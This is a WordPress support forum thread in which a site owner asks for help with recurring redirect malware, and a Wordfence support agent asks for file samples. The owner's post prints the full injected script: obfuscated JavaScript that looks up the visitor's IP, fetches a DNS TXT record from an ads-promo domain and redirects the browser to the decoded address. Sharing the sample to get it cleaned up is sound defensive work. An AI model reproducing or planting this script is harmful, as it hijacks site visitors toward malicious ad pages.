• Resolved h0ssam

    (@h0ssam)


    Hello

    there is kinds of viruses and malware that aloe of tools can read it

    but wordfence can even see it

    the viruses was in cache file and after delete it

    its on the pages

    what to do now ?

    The page I need help with: [log in to see the link]

Viewing 2 replies - 1 through 2 (of 2 total)
  • Thread Starter h0ssam

    (@h0ssam)

    here is the problem code causing the redirect to ads

    <script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,95,36,95,97,55,57,56,61,91,34,92,120,50,69,34,44,34,92,120,50,68,34,44,34,92,120,55,50,92,120,54,53,92,120,55,48,92,120,54,67,92,120,54,49,92,120,54,51,92,120,54,53,92,120,52,49,92,120,54,67,92,120,54,67,34,44,34,92,120,54,57,92,120,55,48,34,44,34,92,120,51,65,34,44,34,92,120,54,56,92,120,54,70,92,120,55,51,92,120,55,52,92,120,54,69,92,120,54,49,92,120,54,68,92,120,54,53,34,44,34,92,120,54,67,92,120,54,70,92,120,54,51,92,120,54,49,92,120,55,52,92,120,54,57,92,120,54,70,92,120,54,69,34,44,34,34,44,34,92,120,55,53,92,120,54,69,92,120,54,66,92,120,50,69,92,120,54,51,92,120,54,70,92,120,54,68,34,44,34,92,120,52,49,92,120,54,69,92,120,55,51,92,120,55,55,92,120,54,53,92,120,55,50,34,44,34,92,120,55,52,92,120,55,57,92,120,55,48,92,120,54,53,34,44,34,92,120,54,52,92,120,54,49,92,120,55,52,92,120,54,49,34,44,34,92,120,54,54,92,120,54,70,92,120,55,50,92,120,52,53,92,120,54,49,92,120,54,51,92,120,54,56,34,44,34,92,120,54,67,92,120,54,53,92,120,54,69,92,120,54,55,92,120,55,52,92,120,54,56,34,44,34,92,120,55,50,92,120,54,53,92,120,55,48,92,120,54,67,92,120,54,49,92,120,54,51,92,120,54,53,34,44,34,92,120,55,52,92,120,54,56,92,120,54,53,92,120,54,69,34,44,34,92,120,54,65,92,120,55,51,92,120,54,70,92,120,54,69,34,44,34,92,120,54,56,92,120,55,52,92,120,55,52,92,120,55,48,92,120,55,51,92,120,51,65,92,120,50,70,92,120,50,70,92,120,54,52,92,120,54,69,92,120,55,51,92,120,50,69,92,120,54,55,92,120,54,70,92,120,54,70,92,120,54,55,92,120,54,67,92,120,54,53,92,120,50,70,92,120,55,50,92,120,54,53,92,120,55,51,92,120,54,70,92,120,54,67,92,120,55,54,92,120,54,53,92,120,51,70,92,120,54,69,92,120,54,49,92,120,54,68,92,120,54,53,92,120,51,68,34,44,34,92,120,55,50,92,120,54,49,92,120,54,69,92,120,54,52,92,120,54,70,92,120,54,68,34,44,34,92,120,54,54,92,120,54,67,92,120,54,70,92,120,54,70,92,120,55,50,34,44,34,92,120,50,69,92,120,54,49,92,120,54,52,92,120,55,51,92,120,50,68,92,120,55,48,92,120,55,50,92,120,54,70,92,120,54,68,92,120,54,70,92,120,50,69,92,120,54,51,92,120,54,70,92,120,54,68,92,120,50,54,92,120,55,52,92,120,55,57,92,120,55,48,92,120,54,53,92,120,51,68,92,120,55,52,92,120,55,56,92,120,55,52,34,44,34,92,120,54,56,92,120,55,52,92,120,55,52,92,120,55,48,92,120,55,51,92,120,51,65,92,120,50,70,92,120,50,70,92,120,54,49,92,120,55,48,92,120,54,57,92,120,51,54,92,120,51,52,92,120,50,69,92,120,54,57,92,120,55,48,92,120,54,57,92,120,54,54,92,120,55,57,92,120,50,69,92,120,54,70,92,120,55,50,92,120,54,55,92,120,51,70,92,120,54,54,92,120,54,70,92,120,55,50,92,120,54,68,92,120,54,49,92,120,55,52,92,120,51,68,92,120,54,65,92,120,55,51,92,120,54,70,92,120,54,69,34,93,59,40,102,117,110,99,116,105,111,110,40,95,48,120,49,67,55,68,52,41,123,102,101,116,99,104,40,95,36,95,97,55,57,56,91,50,49,93,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,49,68,41,61,62,95,48,120,49,67,56,49,68,91,95,36,95,97,55,57,56,91,49,54,93,93,40,41,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,65,70,41,61,62,123,95,48,120,49,67,56,65,70,61,32,95,48,120,49,67,56,65,70,91,95,36,95,97,55,57,56,91,51,93,93,91,95,36,95,97,55,57,56,91,50,93,93,40,95,36,95,97,55,57,56,91,48,93,44,95,36,95,97,55,57,56,91,49,93,41,59,95,48,120,49,67,56,65,70,61,32,95,48,120,49,67,56,65,70,91,95,36,95,97,55,57,56,91,50,93,93,40,95,36,95,97,55,57,56,91,52,93,44,95,36,95,97,55,57,56,91,49,93,41,59,108,101,116,32,95,48,120,49,67,56,54,54,61,119,105,110,100,111,119,91,95,36,95,97,55,57,56,91,54,93,93,91,95,36,95,97,55,57,56,91,53,93,93,59,105,102,40,95,48,120,49,67,56,54,54,61,61,32,95,36,95,97,55,57,56,91,55,93,41,123,95,48,120,49,67,56,54,54,61,32,95,36,95,97,55,57,56,91,56,93,125,59,102,101,116,99,104,40,95,36,95,97,55,57,56,91,49,55,93,43,32,95,48,120,49,67,56,54,54,43,32,95,36,95,97,55,57,56,91,48,93,43,32,95,48,120,49,67,56,65,70,43,32,95,36,95,97,55,57,56,91,48,93,43,32,77,97,116,104,91,95,36,95,97,55,57,56,91,49,57,93,93,40,77,97,116,104,91,95,36,95,97,55,57,56,91,49,56,93,93,40,41,42,32,49,48,50,52,42,32,49,48,50,52,42,32,49,48,41,43,32,95,36,95,97,55,57,56,91,50,48,93,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,49,68,41,61,62,95,48,120,49,67,56,49,68,91,95,36,95,97,55,57,56,91,49,54,93,93,40,41,41,91,95,36,95,97,55,57,56,91,49,53,93,93,40,40,95,48,120,49,67,56,70,56,41,61,62,123,105,102,40,95,48,120,49,67,56,70,56,91,95,36,95,97,55,57,56,91,57,93,93,61,61,32,110,117,108,108,41,123,114,101,116,117,114,110,125,59,118,97,114,32,95,48,120,49,67,57,52,49,61,95,36,95,97,55,57,56,91,55,93,59,95,48,120,49,67,56,70,56,91,95,36,95,97,55,57,56,91,57,93,93,91,95,36,95,97,55,57,56,91,49,50,93,93,40,40,95,48,120,49,67,57,56,65,41,61,62,123,105,102,40,95,48,120,49,67,57,56,65,91,95,36,95,97,55,57,56,91,49,48,93,93,61,61,32,49,54,41,123,95,48,120,49,67,57,52,49,43,61,32,95,48,120,49,67,57,56,65,91,95,36,95,97,55,57,56,91,49,49,93,93,125,125,41,59,95,48,120,49,67,57,52,49,61,32,97,116,111,98,40,95,48,120,49,67,57,52,49,41,59,105,102,40,33,95,48,120,49,67,57,52,49,91,95,36,95,97,55,57,56,91,49,51,93,93,41,123,114,101,116,117,114,110,125,59,119,105,110,100,111,119,91,95,36,95,97,55,57,56,91,54,93,93,91,95,36,95,97,55,57,56,91,49,52,93,93,40,95,48,120,49,67,57,52,49,41,125,41,125,41,125,41,40,41,60,47,115,99,114,105,112,116,62));</script>	<script type=&quot;text/javascript&quot;>
    Plugin Support wfpeter

    (@wfpeter)

    Hi @h0ssam, thanks for getting in touch.

    If Wordfence is fully up-to-date and your rules updates/scans are completing as expected, it is possible that code/malware may be packaged in a way we haven’t seen before.

    You can send any files containing the above snippet (or any others) you believe Wordfence should be picking up to samples @ wordfence . com where our team can inform you whether any action is necessary to resolve the issue from our, or your end.

    Please note that when attaching files, ensure that you remove any database access credentials or keys/salts contained inside before sending.

    Many thanks,
    Peter.

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘redirect malware when open page’ is closed to new replies.